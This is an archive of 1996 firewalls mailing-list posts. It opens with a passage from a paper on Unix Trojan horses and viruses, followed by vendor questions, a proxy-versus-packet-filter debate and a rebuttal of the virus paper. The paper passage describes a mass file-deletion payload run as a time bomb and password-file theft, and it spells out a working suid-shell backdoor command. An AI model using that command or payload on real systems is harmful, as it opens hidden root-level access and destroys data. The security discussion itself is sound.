2>&1"  This payload will attempt to remove all accessible files on the system as
a background process with all messages redirected to waste disposal.  Since 
system security is lax at many sites, there are normally thousands of files with
permission bit settings of octal 777.   All files on the system with this 
permission setting will be removed by this attack.  Additionally, all files 
owned by the user, their group or anyone else on the system whose files are 
write accessible to the user will be removed.  This payload is not limited to 
use
by Trojan horses but can be utilized by any form of attack.  Typically, a time 
bomb can be created by using the "cron" or "at" utilities of the Unix system to 
execute this command directly at the specified time.

While the bin remove payload is a favorite of many authors, there are other 
traditional attacks which are not as overt in their destruction.  These other 
attacks are more important because they bend the operation of the system to the 
purposes of the attacker while not revealing themselves to the system operator. 
Attacks of this form include the
appending of an account record to the password file, copying the password file 
to an off site email address for leisurely cracking and modification of the 
operating system to include back doors or cause the transfer of money or 
property.  It is extremely simple to email valuable information off site in such
a manner as to insure that the recipient cannot be traced or located.  Some of 
these methods are path dependent, however, the path selected is at the 
discretion of the attacker.

One of the most simple methods of inserting a back door is the well known suid 
bit shell attack.  In this attack, a trojanized program is used to copy a shell 
program to an accessible directory.  The shell program is then set with 
permission bits that allow it to execute with the userid and permission of its 
creator.  A simple one line suid bit shell
attack can be created by adding the following command to a user's ".login" or 
any other file that they execute.  Example:  cp /bin/sh /tmp/gotu ; chmod 4777 
/tmp/gotu

Trojan horses and time bombs can be located using the same methods required to 
locate viruses in the Unix environment.  There are many technical reasons why 
these forms of attack are not desirable, the foremost being their immobility.  A
virus or worm attack is more important because these programs are mobile and can
integrate
themselves into the operating system.  Of these two forms of attack, the virus 
attack is the hardest to detect
and has the best chance of survival.  Worms can be seen in the system process 
tables and eliminated since they exist as individual processes while virus 
attacks are protected from this form of detection by their host programs.  All 
of the methods used to detect and prevent viruses are also effective against the
other forms of attack, therefore, the
remainder of this paper will deal with the more serious problem of viral 
attacks.

3. UNIX VIRUS ATTACKS

The promotion of the concept of "magical immunity" to computer viral attacks 
surfaces on a regular basis.  This concept, while desirable, is misleading and 
dangerous since it tends to mask a real threat.  Opponents of the possibility of
viral attacks in Unix state that hardware instructions and operating system 
concepts such as supervisor mode or permission settings, security ratings like 
C2 or B1 provide protection.  These ideas have been proven wrong by real life.  
The use of supervisor mode, the additional levels of protection provided by C2 
and the mandatory access control provided by security level B1 are not necessary
for viral activity and are therefore moot as a method of
protection.  This fact is supported by the existence of viruses that infect Unix
systems as both scripts and binary.

In fact, virus attacks against Unix systems will eventually become more popular 
as simpler forms of attack become obsolete.  Computer viruses have significantly
more virility, methods of protection and opportunity for infection.  Methods of 
protection have been highly refined in viruses, including rapid reproduction by 
infection, migration though evaluation of its environment, (boot viruses look 
for uninfected floppy diskettes) armor, stealth and polymorphism.  In addition, 
the host system itself becomes a method of protection and propagation.  Virus 
infected files are protected just as much by the operating system as are 
non-infected files.  Introduction of viruses into systems have also been refined
using technology called "droppers".  A dropper is a Trojan horse that has a
virus or viruses as a payload.  Finally, extensive networking technology such as
NFS (Network File System) allows viruses to migrate between systems without 
effort.

All of these reasons point to viruses as the future of hostile algorithms, 
however, the most significant reason for this determination is the effectiveness
of the virus as a form of attack.  Past experiments by Doctor Fred Cohen [1984] 
used a normal user account on a Unix system, without privileged access, and 
gained total security penetration in 30
minutes.  Doctor Cohen repeated these results on many versions of Unix, 
including AT&T Secure Unix and over 20 commercial implementations of Unix.  The 
results have been confirmed by independent researchers worldwide.   Separate 
experiments by Tom Duff [1989] demonstrated the tenacity of Unix viruses even in
the face of disinfectors.  The virus used in Mr. Duff's experiment was a simple 
virus written in script.  The virus was believed to have been reintroduced by 
the operating system from the automated backup and restore system.  Reinfection 
took place after the system had been virus free for one year.





K.M. Goertzel
Manager, International Programs and Special Projects
Secure Systems and Services Operation
Wang Federal, Inc.
7900 Westpark Drive - MS 700
McLean, Virginia  22102-4299
TEL: 703-827 3914
FAX: 703-827 3161
goertzek@wangfed.com
http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                       -- Wilfred Owen, MUSIC |
+----------------------------------------------+


From firewalls-owner  Thu Mar  7 08:01:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA13978 for firewalls-outgoing; Thu, 7 Mar 1996 07:00:56 -0800 (PST)
Received: from dub-img-1.compuserve.com (dub-img-1.compuserve.com [198.4.9.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA13963 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 07:00:37 -0800 (PST)
Received: by dub-img-1.compuserve.com (8.6.10/5.950515)
	id JAA21854; Thu, 7 Mar 1996 09:59:08 -0500
Date: 07 Mar 96 09:57:39 EST
From: John Schoonover <100655.1065@compuserve.com>
To: Firewall List <firewalls@greatcircle.com>
Subject: PIX and ESS-CARINE
Message-ID: <960307145738_100655.1065_BHL123-1@CompuServe.COM>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Dear colleagues,

First, I would like to thank those of you who responded to my query concerning
IBM's SNG.

I am not sure I actually heard from anyone who uses it.  Is someone willing to
tell me what (s)he likes or dislikes about it?

Now, on to my next problem:

1) What is PIX from Network Translation Inc (Cisco subsidiary)?

What does it do that DNS can't do?

What is your experience with it and what kind of policy considerations does it
respond to?

2) What is ESS-CARINE  from Neurocom?

Who is using it with what results, pros and cons, policy, etc.

Thanks in advance.

John


From firewalls-owner  Thu Mar  7 08:02:17 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA13819 for firewalls-outgoing; Thu, 7 Mar 1996 06:58:57 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA13814 for <firewalls@GreatCircle.com>; Thu, 7 Mar 1996 06:58:54 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id JAA10707
    for <firewalls@GreatCircle.com>; Thu, 7 Mar 1996 09:57:23 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA15629; Thu, 7 Mar 96 09:47:39 -0600
Received: from [159.94.14.48] by hfsi (BULL 5.61++/B.O.S 02.01)
	id AA21015; Thu, 7 Mar 96 09:52:00 -0500
Date: Thu, 7 Mar 96 09:52:00 -0500
Message-Id: <9603071452.AA21015@hfsi>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: firewalls@GreatCircle.com
Subject: Re: Spoofing Subscriptions (fwd)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

In message <9603061926.AA15094@ig1.att.att.com>  writes:

> Is that really you K.M Goertzel? Or was this mail the real spoof?


I'm not sure whether these profound existential questions are on-topic for this 
mailing list.




K.M. Goertzel
Manager, International Programs and Special Projects
Secure Systems and Services Operation
Wang Federal, Inc.
7900 Westpark Drive - MS 700
McLean, Virginia  22102-4299
TEL: 703-827 3914
FAX: 703-827 3161
goertzek@wangfed.com
http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                       -- Wilfred Owen, MUSIC |
+----------------------------------------------+


From firewalls-owner  Thu Mar  7 09:49:25 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA20398 for firewalls-outgoing; Thu, 7 Mar 1996 09:05:53 -0800 (PST)
Received: from relay2.UU.NET (relay2.UU.NET [192.48.96.7]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA20393 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 09:05:47 -0800 (PST)
Received: from cixgate by relay2.UU.NET with SMTP 
	id QQagam18882; Thu, 7 Mar 1996 12:02:08 -0500 (EST)
Received: from manzanita.DEV.3Com.COM.noname ([139.87.180.206]) by cixgate (4.1/SMI-4.1/3com-cixgate-GCA-931027-01)
	id AA16972; Thu, 7 Mar 96 09:11:32 PST
Received: by manzanita.DEV.3Com.COM.noname (4.1/SMI-4.1)
	id AA13737; Thu, 7 Mar 96 08:55:16 PST
Date: Thu, 7 Mar 96 08:55:16 PST
From: bobk@manzanita.DEV.3Com.COM (Bob Konigsberg)
Message-Id: <9603071655.AA13737@manzanita.DEV.3Com.COM.noname>
To: firewalls@greatcircle.com
Subject: Password generating program
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I've heard that there is a password generating program that will generate
fairly random, but pronounceable passwords.

If anyone knows of the source of such a program, I'd appreciate hearing
from them.  Unless they do, I'll return the source of information to the list.

BTW - My search for security policies didn't return much.  Most replies 
I got were for cc:s on info I got. The reference to rfc's 1068, 1244, 1700,
and rfc 959 were helpful, but not everything I needed.  I also took Learning
Tree course 468 (Internet and Network Security) which was quite helpful.

As a result, I will (after some massaging) publish a summary of our own 
security policy with the content reduced to outline form.

Thanks all,

BobK

From firewalls-owner  Thu Mar  7 10:08:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA20353 for firewalls-outgoing; Thu, 7 Mar 1996 09:04:30 -0800 (PST)
Received: from neon.ingenia.com (newneon.ingenia.com [205.207.219.29]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA20348 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 09:04:25 -0800 (PST)
Received: (from shaver@localhost) by neon.ingenia.com (8.6.12/8.6.9) id MAA14266; Thu, 7 Mar 1996 12:29:04 -0500
From: Mike Shaver <shaver@neon.ingenia.com>
Message-Id: <199603071729.MAA14266@neon.ingenia.com>
Subject: Re: Eternal war: gateway versus filtering
To: weber@iez.com (Rolf Weber)
Date: Thu, 7 Mar 1996 12:29:04 -0500 (EST)
Cc: firewalls@greatcircle.com
In-Reply-To: <9603071424.AA12742@spibm02> from "Rolf Weber" at Mar 7, 96 03:24:12 pm
X-Mailer: ELM [version 2.4 PL24 PGP3 *ALPHA*]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Thus spake Rolf Weber:
> > I believe that once you start maintaining much state about a
> > connection, this so-called packet filter is implementing something
> > more like a gateway. If the packet filter is reconstructing FTP
> > messages so it can extract port numbers from the data stream, then
> > it's a mislabeled application gateway.
> > 
> but with one well known advantage: performance.

I believe that traditionally, application proxies have been run in
user-space, which, under most Unices, requires that data be copied
kernel->proxy->kernel as it passes through.  Most packet filters,
however, are implemented in-kernel, which means that you don't have
that copying problem.

If you were to implement application-level proxies/gateways without
requiring that pair of extra copies, you could probably get an
application-level proxy that was as fast as any packet-filter which
provided the same functionality.  (Adding functionality can impair
performance; this shouldn't come as a surprise to anyone.)

Likewise, if you were to do packet filtering 100% in user-space, you'd
probably see a significant performance hit.

> i don't think it's an eternal war, because both types of firewalls
> should fight at different battle fields.

I think they're really fighting the same battle: that of controlling
access to services.  I prefer application-level stuff because I think
that assuming port numbers necessarily tell you what service you're
dealing with is bad.  Of course, application-level stuff doesn't
always handle connectionless stuff well.

Mike

-- 
#> Mike Shaver (shaver@ingenia.com) Ingenia Communications Corporation <#
#>           Resident Linux bigot and kernel hacker. (OOPS!)           <#
#> `If you get bitten by a bug, tough luck...the one thing I won't do  <#
#> is feel sorry for you.  In fact, I might ask you to do it all over  <#
#> again, just to get more information.  I'm a heartless bastard.'     <#
#>                       -- Linus Torvalds (on development kernels)    <#

From firewalls-owner  Thu Mar  7 10:31:44 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA21870 for firewalls-outgoing; Thu, 7 Mar 1996 09:31:44 -0800 (PST)
Received: from pleiades.optotrans.hu ([194.149.13.19]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA21854 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 09:31:28 -0800 (PST)
Received: from optobp.optotrans.hu (optobp.optotrans.hu [194.149.13.17]) by pleiades.optotrans.hu (8.6.9/OPTO-SMTPGATE1) with ESMTP id RAA22937 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 17:40:20 +0100
Received: from OPTO1/SpoolDir by optobp.optotrans.hu (Mercury 1.21);
    7 Mar 96 17:56:24 +0100
Received: from SpoolDir by OPTO1 (Mercury 1.21); 7 Mar 96 17:51:51 +0100
From: "Kinczli Zoltan" <KZOLI@Optotrans.HU>
To: firewalls@GreatCircle.COM
Date:          Thu, 7 Mar 1996 17:47:02 +0100
Subject:       info on BorderWare
Reply-to: Kinczli.Zoltan@Optotrans.HU
X-mailer: Pegasus Mail v3.22
Message-ID: <99CDC0030E@optobp.optotrans.hu>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hi Folks,

    I'm interested in experiences using Borderware from Border 
  Network Technologies. I've already checked their web, but more 
  detailed info is needed: configuration options, what could be and 
  how could be customized. I have a feeling they have a nice GUI
  config interface, and really don't want to start a holly-war on GUI 
  or not GUI, but I feel GUI interfaces to be restrictive. 
  
  
  
  Thanks for your time:

Zoltan


---------------------------------------------------------------
Zoltan KINCZLI         OPTOTRANS Co.
Network Analyst        Fiastyuk street. 4-8.
                       H-1131 BUDAPEST
                       HUNGARY
Tel: + 36 1 2698798
Fax: + 36 1 2698799
---------------------------------------------------------------



From firewalls-owner  Thu Mar  7 10:33:46 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA21835 for firewalls-outgoing; Thu, 7 Mar 1996 09:31:06 -0800 (PST)
Received: from balder.ssds.com (balder.ssds.com [204.131.72.62]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA21830 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 09:30:57 -0800 (PST)
Received: (from mail@localhost) by balder.ssds.com (8.6.9/8.6.9.SSDSnet-hub) id KAA19629; Thu, 7 Mar 1996 10:26:54 -0700
Received: from baltimore.ssds.com(134.127.34.1) by balder.ssds.com via smap (V1.3)
	id sma019627; Thu Mar  7 10:26:45 1996
Received: by baltimore.ssds.com id MAA10379; Thu, 7 Mar 1996 12:26:42 -0500 (EST)
Date: Thu, 7 Mar 1996 12:26:41 -0500 (EST)
From: Mike Malik -- Dover DE <mam@ssds.com>
X-Sender: mam@baltimore
To: "C. Harald Koch" <chk@border.com>
cc: Bill Myers <bmyers@do1.kyrene.k12.az.us>, firewalls@GreatCircle.COM
Subject: Re: RealAudio and Firewalls 
In-Reply-To: <96Mar7.093302est.20481-1@janus.border.com>
Message-ID: <Pine.SUN.3.91.960307122518.10364B-100000@baltimore>
MIME-Version: 1.0
Content-Type: TEXT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Thu, 7 Mar 1996, C. Harald Koch wrote:

> 
> Editorial comment:
> 
> The firewalls mailing list is not supposed to be a forum for vendors to
> peddle their wares, so Border does not normally send out these types of "me
> too" feature messages. (We would be more than happy to change this policy if
> the membership of the list so desires...)
> 
And thank you for not. Between all the noise and SPAM my mailbox runneth 
over so to speak.
Mike


  ( (   | (                Mike Malik (mam@ssds.com)         
   ) ) (|  ), inc.         9841 Broken Land Parkway,Suite 100 
  business driven          Columbia, MD 21046 
technology solutions       410-381-4313 FAX: 410-381-2170


From firewalls-owner  Thu Mar  7 10:47:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA24067 for firewalls-outgoing; Thu, 7 Mar 1996 10:22:29 -0800 (PST)
Received: from emory.mathcs.emory.edu (emory.mathcs.emory.edu [128.140.2.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA24062 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 10:22:23 -0800 (PST)
Received: by
	emory.mathcs.emory.edu (5.65/Emory_mathcs.4.0.18) via UUCP
	id AA11593 ; Thu, 7 Mar 96 13:20:50 -0500
Received: (from bisley@localhost) by sb.lanier.com (8.6.12/8.6.6) id NAA15558; Thu, 7 Mar 1996 13:19:58 -0500
From: Brad Isley <bisley@Lanier.COM>
Message-Id: <199603071819.NAA15558@sb.lanier.com>
Subject: Re: PIX and ESS-CARINE
To: 100655.1065@compuserve.com (John Schoonover)
Date: Thu, 7 Mar 1996 13:19:57 -0500 (EST)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <960307145738_100655.1065_BHL123-1@CompuServe.COM> from "John Schoonover" at Mar 7, 96 09:57:39 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 1) What is PIX from Network Translation Inc (Cisco subsidiary)?

It's an address translator with facilities for allowing or denying
connections to machines either internal or external based on address
and port ranges.  The literature calls it an address translator / firewall,
but IMHO that's stretching it a bit.

> What does it do that DNS can't do?

    1) Translate addresses from your possibly unregisterd internal network
       to a set of addresses that are registered to you.

    2) Allow/deny connections to/from internal/external hosts.

    3) Logs all connections documenting internal local address, translated
       local address, external address, port, duration, and bytes transferred.
       Denied connection attempts are also logged in a similar manner.

Not being a firewall/DNS guru, I don't quite see the logic in comparing
an address translator to DNS.

> What is your experience with it and what kind of policy considerations does it
> respond to?

It's very useful for sites with unregistered addresses that want to connect
to the Internet.  If you want to allow access to the outside to only
certain hosts on your net, it will do this.  If you want to allow incoming
connections to only specific ports on specific hosts, aka SMTP into your
mail hub, it can do this.  I suppose this is a rudimentary firewall.

One strangeness:  It can be configured to listen to your net and build a
routing table, which it then COMPLETELY ignores!  As a workaround, you
can specify a default destination for all internal traffic.  This kind of
works, unless you're stuck using Netware to route to some segments, then
things start to get complicated.  The easy way to fix this is to place a
simple router between the PIX and your internal network.  A 386 with two
NIC cards booting linux off a floppy with a static routing table does
this admirably.

Hope this helps.

From firewalls-owner  Thu Mar  7 11:08:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA25968 for firewalls-outgoing; Thu, 7 Mar 1996 11:00:42 -0800 (PST)
Received: from relay5.UU.NET (relay5.UU.NET [192.48.96.15]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id LAA25954 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 11:00:34 -0800 (PST)
Received: from uucp3.UU.NET by relay5.UU.NET with SMTP 
	id QQagat05733; Thu, 7 Mar 1996 13:59:06 -0500 (EST)
Received: from pdn.UUCP by uucp3.UU.NET with UUCP/RMAIL
        ; Thu, 7 Mar 1996 13:59:07 -0500
Received: from gw.paradyne.com by pdnis.paradyne.com (4.1/SMI-4.1)
	id AA05508; Thu, 7 Mar 96 12:34:35 EST
Received: from unix-Message_Server by gw.paradyne.com
	with Novell_GroupWise; Thu, 07 Mar 1996 12:34:35 -0500
Message-Id: <s13ed7db.053@gw.paradyne.com>
X-Mailer: Novell GroupWise 4.1
Date: Thu, 07 Mar 1996 12:32:10 -0500
From: Jay Tingiris <jtingiris@gw.paradyne.com>
To: firewalls@greatcircle.com
Subject:  firewalls: NT Firewalls - Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

For an inexpensive firewall you should look at Linux coupled with TIS Toolkit.
 Both Linux and TIS are free!  All you need is a multi-homed PC.


From firewalls-owner  Thu Mar  7 12:05:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA25984 for firewalls-outgoing; Thu, 7 Mar 1996 11:00:53 -0800 (PST)
Received: from WVLINK.MPL.COM (WVLINK.MPL.COM [198.77.4.68]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA25955 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 11:00:36 -0800 (PST)
Date: Thu, 7 Mar 1996 11:00:36 -0800 (PST)
Message-Id: <199603071900.LAA25955@miles.greatcircle.com>
Received: from pc-1.mpl.com by WVLINK.MPL.COM (MX V4.0 VAX) with SMTP; Thu, 07
          Mar 1996 13:58:40 EST
X-Sender: jim@wvlink.mpl.com
X-Mailer: Windows Eudora Version 2.0.3
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: <dsroelov@lifeguard.com>, firewalls@greatcircle.com
From: jim@wvlink.mpl.com (Jim Poling)
Subject: Re: Firewall with no Internet Connection
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>
>Jim Poling wrote:
>> 
>> 
>> Mar 6, 17:21:40 PWC Kernel kpf rule
#10,ef0,141.192.100.102,0,141.192.100.101,
>> 8,0,1,permit
>> (This is internal terminal server to external FW)
>> 
>> Mar 6, 17:21:47 PWC Kernel kpf rule #14,ef0,141.192.100,102,0,141.119.42.245,
>> 8,1,1,deny
>> (This is external terminal server to internal FW)
>> 
>> At least I know it can't be a cabling problem now.  The FW is actually
denying
>> access to the internal network, and all of the PING's are turned on.  As a
>> matter
>> of fact I went ahead and turned EVERYTHING on to be sure.
>> 
>> Anybody have any clues?
>> 
>> Thanks,
>> -JIM Poling
>>  MPL Corp.
>>  Buckhannon, WV
>>  (304)472-9520
>>  JIM@WVLINK.MPL.COM
>
>jim,
>
>i just finished installing a borderware firewall for one of my clients 
>and ran into the same type of problems.  without knowing any of the more 
>creative aspects of your configuration, my first guess would be the 
>proxies section of the system configuration.
>
>for ping to go through from the internal to the external you should have 
>ping enabled in the outbound proxy section.  when you said you enabled 
>everything you didn't mention whether it was servers or proxies.
>
>please let me know how it turns out.  feel free to send me mail if it 
>doesn't work.
>
>	dave


I've got EVERYTHING turned on, Proxies and SERVERS.  And I wish was as simple as
turning on the ping proxy.

Here is the routing table:
        DESTINATION     GATEWAY            FLAGS   REFS   USE     INTERFACE
        default         141.192.100.102    UG       2      32     ef0
        127.0.0.1       127.0.0.1          UH      13     476     lo0
        141.119         141.119.42.245     U        1       3     ef1
        141.192         141.192.100.101    U        1      46     ef0

I have a terminal server (141.192.100.102) connected to the external side of
the FW.  (This is the entire external network, no router, nothing except the
T/S)
The setup asks for an external router, but since there is no router, (no
connection to the internet), then I put in the IP address of the terminal
server.  I've tried other IP numbers as well, like (141.192.100.101 Internal FW
port, and 141.192.100.103 literally nothing).

I have the terminal server setup to use 141.192.100.101 (the internal FW
port) as the default gateway, with the same subnet mask as everything else.

The Internal FW port is 141.119.42.245, which is connected to a large
internal network.

The idea behind the whole thing is to provide a dialup service for users to
start up a PPP connection with the terminal server (the only piece of
equipment on the external side [no router]), and use the Firewall as a
second layer of defense to provide an TCP/IP connection to a Lotus Notes
Server on the internal
network.  I have an inbound user-define proxy for port 1352 to a specific IP
number for the Lotus Notes Server.  This would allow different platforms to
use ther notes client to use TCP/IP to connect to the Lotus Notes Server.

-Jim Poling
 MPL Corp.
 Buckhannon, WV 26201
 JIM@WVLINK.MPL.COM


From firewalls-owner  Thu Mar  7 12:08:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA26085 for firewalls-outgoing; Thu, 7 Mar 1996 11:04:01 -0800 (PST)
Received: from iez.com (mail.iez.com [194.218.38.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA26078 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 11:03:52 -0800 (PST)
Received: by iez.com (AIX 3.2/UCB 5.64/4.03)
          id AA11698; Thu, 7 Mar 1996 20:03:04 +0100
Received: from spibm02(172.16.13.62) by iez.com via smap (V1.3)
	id sma009648; Thu Mar  7 20:02:55 1996
Received: from iez.com by spibm02 (AIX 3.2/UCB 5.64/4.03)
          id AA12305; Thu, 7 Mar 1996 20:02:52 +0100
Message-Id: <9603071902.AA12305@spibm02>
Received: from inhps-a by iez.com with SMTP
	(1.37.109.4/16.2) id AA02514; Thu, 7 Mar 96 20:02:52 +0100
Received: by inhps-a
	(1.38.193.3/16.2) id AA07346; Thu, 7 Mar 96 20:02:50 +0100
From: Rolf Weber <weber@iez.com>
Subject: Re: Eternal war: gateway versus filtering
To: shaver@neon.ingenia.com (Mike Shaver)
Date: Thu, 7 Mar 1996 20:02:49 +0100 (MEZ)
Cc: firewalls@greatcircle.com (firewalls)
In-Reply-To: <199603071729.MAA14266@neon.ingenia.com> from "Mike Shaver" at Mar 7, 96 12:29:04 pm
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> > but with one well known advantage: performance.
> 
> I believe that traditionally, application proxies have been run in
> user-space, which, under most Unices, requires that data be copied
> kernel->proxy->kernel as it passes through.  Most packet filters,
> however, are implemented in-kernel, which means that you don't have
> that copying problem.
> 
> If you were to implement application-level proxies/gateways without
> requiring that pair of extra copies, you could probably get an
> application-level proxy that was as fast as any packet-filter which
> provided the same functionality.  (Adding functionality can impair
> performance; this shouldn't come as a surprise to anyone.)
> 
> Likewise, if you were to do packet filtering 100% in user-space, you'd
> probably see a significant performance hit.
>
correct me if i'm wrong, network programming isn't my daily job:
- with application-level proxies, you have 2 tcp handshakes instead of
  one, and 2 connections instead of one.
- the data is read at TCP level, with it its headers have to be
  appended and deleted.
(no idea if this are the ultimate performance winners)

> 
> > i don't think it's an eternal war, because both types of firewalls
> > should fight at different battle fields.
> 
> I think they're really fighting the same battle: that of controlling
> access to services.  I prefer application-level stuff because I think
> that assuming port numbers necessarily tell you what service you're
> dealing with is bad.  Of course, application-level stuff doesn't
> always handle connectionless stuff well.
> 
i said they *should*, but they don't...for marketing reasons, i
suggest :-)
...but i'm sure, it's only a question of time till vendors will offer
both, application level and packet filtering firewalls. it would be
a very good argument if they are acting as a consulter, too.
i prefer application level too, it's really great to have the sources
and to be able to make my own patches for my own requirements.
and i can do it with a good heart, because the proxies are fairly
easy to understand.
i wouldn't sleep very well if i had to patch a dynamic packet filter :-)
but other companies (or universities) might have other requirements and
possibilities.
dynamic packet filters are not basically less secure as application
level gateways, but very hard to configure and maintain.
i'll give 2 examples:
for companies like mine, an application level firewall is probably the
best choice. for universities, a dynamic packet filter would probably
be the better choice.
i'm pretty sure you can say in most cases what's the better choice,
so it should be different battles (sorry for my idealism ;-)

rolf
-- 
-----------------------------------------
Rolf Weber <weber@iez.com> | All I ask is a chance
IEZ AG   D-64625 Bensheim  | to prove that money
++49-6251-1309-113         | can't make me happy.

From firewalls-owner  Thu Mar  7 12:17:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA26711 for firewalls-outgoing; Thu, 7 Mar 1996 11:15:41 -0800 (PST)
Received: from uuneo.neosoft.com (uuneo.neosoft.com [206.109.1.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id LAA26683 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 11:15:22 -0800 (PST)
Received: from nmti.com (ficc@localhost) by uuneo.neosoft.com (8.7.4/8.7.4) with UUCP id LAA28579; Thu, 7 Mar 1996 11:31:39 -0600 (CST)
Received: from sonic.nmti.com (peter@sonic.nmti.com [198.178.0.2]) by web.nmti.com (8.6.12/8.6.9) with SMTP id LAA11659; Fri, 8 Mar 1996 11:30:19 -0600
Received: by sonic.nmti.com; id AA31574; Thu, 7 Mar 1996 11:31:17 -0600
From: peter@nmti.com (Peter da Silva)
Message-Id: <9603071731.AA31574@sonic.nmti.com.nmti.com>
Subject: Re: UNIX CVirus - 2nd try (pt 1)
To: goertzek@wangfed.com
Date: Thu, 7 Mar 1996 11:31:17 -0600 (CST)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <9603071433.AA20867@hfsi> from "KM" at Mar 7, 96 09:33:13 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Unix systems are as susceptible to hostile software attacks as any other system,

UNIX systems are as susceptible to *some* hostile software attacks as *some*
other systems.

> however, the Unix community is zealous in their believe that they are immune.  
> This belief is in the face of historical reality.

I described a "source code virus" that was more of a "real" virus than the
Internet Worm, and posted a message about it to the net about a week before
the "Internet Worm" hit.

Due to the Internet Worm it was never implemented, but would have been a
program that would infect source distributions by hijacking "malloc"... a
routine used in virtually all programs. It would copy its source code to
the end of a random large C source file (using standard obfuscated C contest
tricks to encode its source in itself) the first time it was run, then perform
a conventional "malloc" operation (using "sbrk").

So I'm hardly ignorant of the fact that a UNIX virus could be developed.

I would rather appreciate, then, some expansion on the following paragraphs
that make claims that appear on the face of it to be contrary to my own
experience, claims that are completely unsupported in your document.

> Traditional methods used against attacks in other operating system
> environments such as MS-DOS are insufficient in the more complex
> environment provided by Unix.  

And are also, IMO, competely unnecessary. Normal users can not write
executables into locations that other users run programs from, nor can they
write into arbitrary memory locations. Therefore it's hard for a virus to
propogate, and the usual virus checking tools are un-necessary. The tools
that *are* needed are things like "COPS" and "Tripwire", and these tools
already exist.

> Additionally, Unix provides a special and significant problem in this regard
> due to its open and heterogeneous nature.

IMO this is a problem for the virus writers. For a virus to remain undetected,
it has to infect executables. This is inherently difficult in an environment
where the machine codes and executable formats vary from system to system.

Also, traditional MS-DOS based virus techniques, such as stealth, are far
harder in the UNIX environment where so much more of the machinery is exposed
to the casual view. How do you stealth a shell script?

> These problems are expected to become 
> both more common and pronounced as 32 bit multitask network operating systems 
> such as Microsoft NT become popular.

NT is a different matter, since in the normal configuration users have write
access to %systemroot%... a shared executable location that is required by
the vast majority of DOS software. The fact that Microsoft encourages software
developers to design their packages to install into %systemroot% means this
problem is not going to get fixed.

In any case... while it's clear that complete immunity to viruses in UNIX is
a myth, statements like "Unix systems are as susceptible to hostile software
attacks as any other system" are simply alarmist. UNIX is a lot harder to
automatically attack than most of the systems on people's desktops today. No,
it's not immune. But it's definitely resistant.

From firewalls-owner  Thu Mar  7 12:32:14 1996
